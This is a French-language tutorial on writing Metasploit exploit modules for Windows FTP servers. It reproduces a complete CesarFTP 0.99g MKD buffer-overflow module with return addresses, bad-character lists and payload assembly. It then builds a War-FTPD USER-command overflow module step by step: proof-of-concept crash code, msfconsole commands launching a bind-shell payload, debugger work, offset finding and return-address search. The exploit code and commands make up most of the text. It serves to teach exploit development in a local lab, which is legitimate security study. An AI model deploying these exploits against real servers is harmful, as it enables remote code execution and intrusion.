Metasploit/Écriture Exploit Windows
Allons-y
modifierDans le Framework Metasploit, un exploit est appelé "module exploit".
Les modules exploit se trouvent par défaut dans :
C:\Programmes\Metasploit\Framework3\home\framework\modules\exploits\
Les modules exploit sont classés par plate-formes (OSs) et par types (protocoles) dans des répertoires.
Édition d'un module exploit
modifier
Une bonne manière de comprendre comment un module exploit est écrit est de commencer par en éditer un.
Nous éditons ce module :
C:\Programmes\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\cesarftp_mkd.rb
#Les notes de l'auteur du présent document sont ajoutées en rouge.
## # $Id: cesarftp_mkd.rb 4419 2007-02-18 00:10:39Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://Metasploit.com/projects/Framework/ ## #Les lignes de commentaires débutent par un # (elles ne seront pas exécutées)
require 'msf/core' #Nous aurons toujours besoin de la librairie core
module Msf #Cette ligne devrait toujours être présente
class Exploits::Windows::Ftp::Cesarftp_Mkd < Msf::Exploit::Remote #Le nom de la classe (Exploits::Windows::Ftp::Cesarftp_Mkd) indique où le module exploit se trouve physiquement (*\exploits\windows\ftp\cesarftp_mkd.rb) Le nom de fichier du the module exploit (cesarftp_mkd.rb) doit être le même que le nom de la classe (Cesarftp_Mkd)
include Exploit::Remote::Ftp #Nous utilisons les fonctions FTP incluses dans le MSF def initialize(info = {}) super(update_info(info, 'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow', #Un nom compréhensible et détaillé (sera affiché dans la console) 'Description' => %q{ This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g. #La description du module/vulnérabilité }, 'Author' => 'MC', #Le (sur)nom de l'auteur de ce module 'License' => MSF_LICENSE, #Type de licence 'Version' => '$Revision: 4419 $', #Numéro de version du module 'References' => #Différentes 'URLs' sur la vulnérabilité [ [ 'BID', '18586'], [ 'CVE', '2006–2961'], [ 'URL', 'http://secunia.com/advisories/20574/' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 250, #Espace maximum disponible en mémoire pour stocker le shellcode (payload) 'BadChars' => "\x00\x20\x0a\x0d", #Liste des caractères interdits 'StackAdjustment' => -3500, }, 'Platform' => 'win', #Type de plate-forme(s) cible 'Targets' => #Liste des cibles et des adresses de retour [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ], [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], [ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ], ], 'DisclosureDate' => 'Jun 12 2006', #Date de divulgation de la vulnérabilité 'DefaultTarget' => 0 #Cible par défaut utilisée si non spécifiée par l'utilisateur (ici: Windows 2000 Pro SP4 English) ) ) end
def check #Fonction utilisée pour vérifier si une cible est vulnérable
connect
disconnect
if (banner =~ /CesarFTP 0\.99g/) #On test la bannière retournée par le serveur return Exploit::CheckCode::Vulnerable #Le serveur est vulnérable end return Exploit::CheckCode::Safe #Le serveur n'est PAS vulnérable end
def exploit #On définit notre exploit connect_login #On utilise la fonction d'authentification Ftp
sploit = "\n" * 671 + Rex::Text.rand_text_english(3, payload_badchars) #Alignement sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded #Adresse de retour (convertie en little endian) + train de nops + payload
print_status("Trying target #{target.name}...")
send_cmd( ['MKD', sploit] , false) #On envoie notre code exploit à la cible
handler
disconnect #On ferme la connexion
end
end end
Écriture d'un module exploit
modifierLa cible
modifierPour comprendre comment écrire un module exploit pour le Framework Metasploit, on écrit un exploit pour une vulnérabilité facilement exploitable dans WarFTPD version 1.5[1].
(Notez que le module exploit pour cette vulnérabilité existe déjà dans le Framework Metasploit, mais nous allons essayer d'écrire notre propre exploit.)
Nous téléchargeons et installons WarFTPD sur notre machine Windows.
Nous démarrons WarFTPD Daemon.
Décocher la case "No anonymous logins".
Nous démarrons le serveur FTP (cliquez sur le bouton "Go Online/Offline")
Ok, le serveur nous attend...
La vulnérabilité
modifierNous pouvons trouver des informations sur la vulnérabilité sur plusieurs sites.
Voyez celui-ci par exemple :
http://osvdb.org/displayvuln.php?osvdb_id=875&print
L'on voit que le bogue survient en envoyant une requête spécialement conçue dans la commande USER.
Très souvent, une très longue chaîne de caractères provoque ce genre de bogue.
Nous vérifions ceci.
La preuve de concept (PoC)
modifierEn premier lieu, nous reproduisons la vulnérabilité.
Pour cela, nous utilisons directement le Framework Metasploit.
Nous créons ce fichier :
C:\Programmes\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\warftpd.rb
Nous l'ouvrons et écrivons (copier/coller) le code suivant dans ce dernier :
## # This file is part of Le Framework Metasploit and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://Metasploit.com/projects/Framework/ ## require 'msf/core' module Msf class Exploits::Windows::Ftp::WarFtpd < Msf::Exploit::Remote #Les noms du module exploit et de la classe sont 'identiques' include Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'War-FTPD 1.65 Username Overflow', 'Description' => %q{ This module exploits a buffer overflow found in the USER command of War-FTPD 1.65. }, #Fin de Description 'Author' => 'Votre Nom', #Changez cette valeur 'License' => MSF_LICENSE, 'Version' => '$Revision: 1 $', 'References' => [ [ 'URL', 'http://osvdb.org/displayvuln.php?osvdb_id=875&print' ] #L'URL citée précédemment ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1000, #On ne connait pas encore la valeur exacte pour ceci 'BadChars' => "\x00" #On ne connait pas encore la valeur exacte pour ceci }, 'Targets' => [ # Target 0 [ 'Notre Windows Cible', #Remplacez ceci par le type de votre Windows (par ex: Windows 2000 SP4) { 'Platform' => 'win', #On exploite une plate-forme Windows 'Ret' => 0x01020304 #On ne connait pas encore la valeur exacte pour ceci } ] ] ) #Fin de update_info() ) #Fin de super() end #Fin de initialize def exploit connect print_status("Trying target #{target.name}...") exploit = 'A' * 1000 #On essaie de déclencher le bogue avec une longue chaîne de 1000 "A" send_cmd( ['USER', exploit] , false ) #On envoie notre chaîne malicieuse handler disconnect #On se déconnecte end #Fin de exploit end #Fin de class end #Fin de module
Le serveur WarFTPD est lancé (écoutant sur le port tcp 21 par défaut).
On lance maintenant la console du Framework Metasploit.
(Démarrer / Programmes / Metasploit3 / MSFConsole)
L'on peut maintenant voir notre exploit avec la commande :
show exploits
On lance alors notre exploit avec ces commandes :
use windows/ftp/warftpd
set RHOST 127.0.0.1
set TARGET 0
set PAYLOAD generic/shell_bind_tcp
exploit
Après quelques secondes, l'on voit disparaître (planter) le serveur FTP WarFTPD Dameon.
Nous avons reproduit le bogue avec succès.
Déboguage
modifierPour voir ce qui se passe quand le serveur plante, nous utilisons un débogueur.
Nous relançons WarFTPD Daemon et attachons notre débogueur à celui-ci.
=> Dans OllyDbg, on utilise "File/Attach", on choisit le processus WarFTPD, clic sur Run et une fois qu'il est lancé, on appuie sur F9 pour obtenir l'état Running.
Nous relançons notre exploit.
Nous pouvons alors regarder dans notre débogueur.
Nous voyons qu'une violation d'accès est déclenchée.
EIP est sur-écrit avec notre chaîne malicieuse (41414141 est l'équivalent hexadécimal pour AAAA)
Affinage
modifierTrouver l'espace disponible
modifierNous devons trouver la quantité d'espace mémoire disponible pour y placer notre shellcode (payload).
Le Framework Metasploit inclut des outils pour nous aider.
D'abord, nous fermons notre débogueur.
On utilise la fonction PatternCreate() pour générer une chaîne de caractères alpha-numériques qui ne se répètent pas.
Nous générons une chaîne de 1000 caractères et l'utilisons dans notre exploit pour déclencher le bogue à nouveau.
Ensuite nous utilisons patternOffset pour connaitre le nombre de caractères à envoyer avant de sur-écrire EIP.
Trouver une adresse de retour
modifierNous devons à présent trouver une adresse de retour fiable.
Là encore, le Framework Metasploit inclut des outils pour nous aider.
Nous pouvons utiliser 'msfpescan' pour chercher des adresses de retour pour des opcodes:
$ ./framework/msfpescan Usage: ./framework/msfpescan [mode] <options> [targets] Modes: -j, --jump [regA,regB,regC] Search for jump equivalent instructions -p, --poppopret Search for pop+pop+ret combinations -r, --regex [regex] Search for regex match -a, --analyze-address [address] Display the code at the specified address -b, --analyze-offset [offset] Display the code at the specified offset -f, --fingerprint Attempt to identify the packer/compiler Options: -M, --memdump The targets are memdump.exe directories -A, --after [bytes] Number of bytes to show after match (-a/-b) -B, --before [bytes] Number of bytes to show before match (-a/-b ) -I, --image-base [address] Specify an alternate ImageBase -h, --help Show this message
L'on peut également utiliser la base de données d'Opcodes du MSF :
http://metasploit.com/users/opcode/msfopcode.cgi
Notez que le Framework Metasploit inclut également un client embarqué pour utiliser cette base de données :
http://metasploit.com/projects/Framework/msf3/msfopcode_fr.html
Traiter les caractères interdits
modifierNous devons maintenant traiter les caractères interdits.
Nous devons pas inclure de caractère de terminaison de chaîne dans notre shellcode car cela interromperait son exécution.
Nous avons déjà fait cela dans notre exploit : 'BadChars' => "\x00"
De plus, une application cible modifie souvent les données reçues avant de les traiter.
Un exemple est une application qui va passer tous les caractères en majuscules.
Comme cela va modifier notre shellcode, nous devons traiter ce cas.
Pour cela, le Framework Metasploit va encoder notre shellcode pour en obtenir un ne contenant pas les caractères interdits spécifiés.
Nous avons seulement à lister les caractères interdits dans notre code d'exploit.
Références
modifier- ↑ Téléchargement de WarFTPD v1.5 : https://www.securinfos.info/old_softwares_vulnerable/WarFTP165_vulnerable_USER_BufferOverflow.exe
- Guide du développeur du Framework Metasploit v3.0 : https://www.securinfos.info/metasploit/Guide_Developpeur_Metasploit3.pdf
- Tutoriel de module exploit : http://Metasploit.com/projects/Framework/documentation.html#exploitTutorial
- Vinnie Liu - Writing Exploits III: http://www.syngress.com/book_catalog/327_SSPC/sample.pdf
- http://www.securityforest.com/wiki/index.php/Category:Buffer_Overflows_Education
- https://www.securinfos.info/docs.html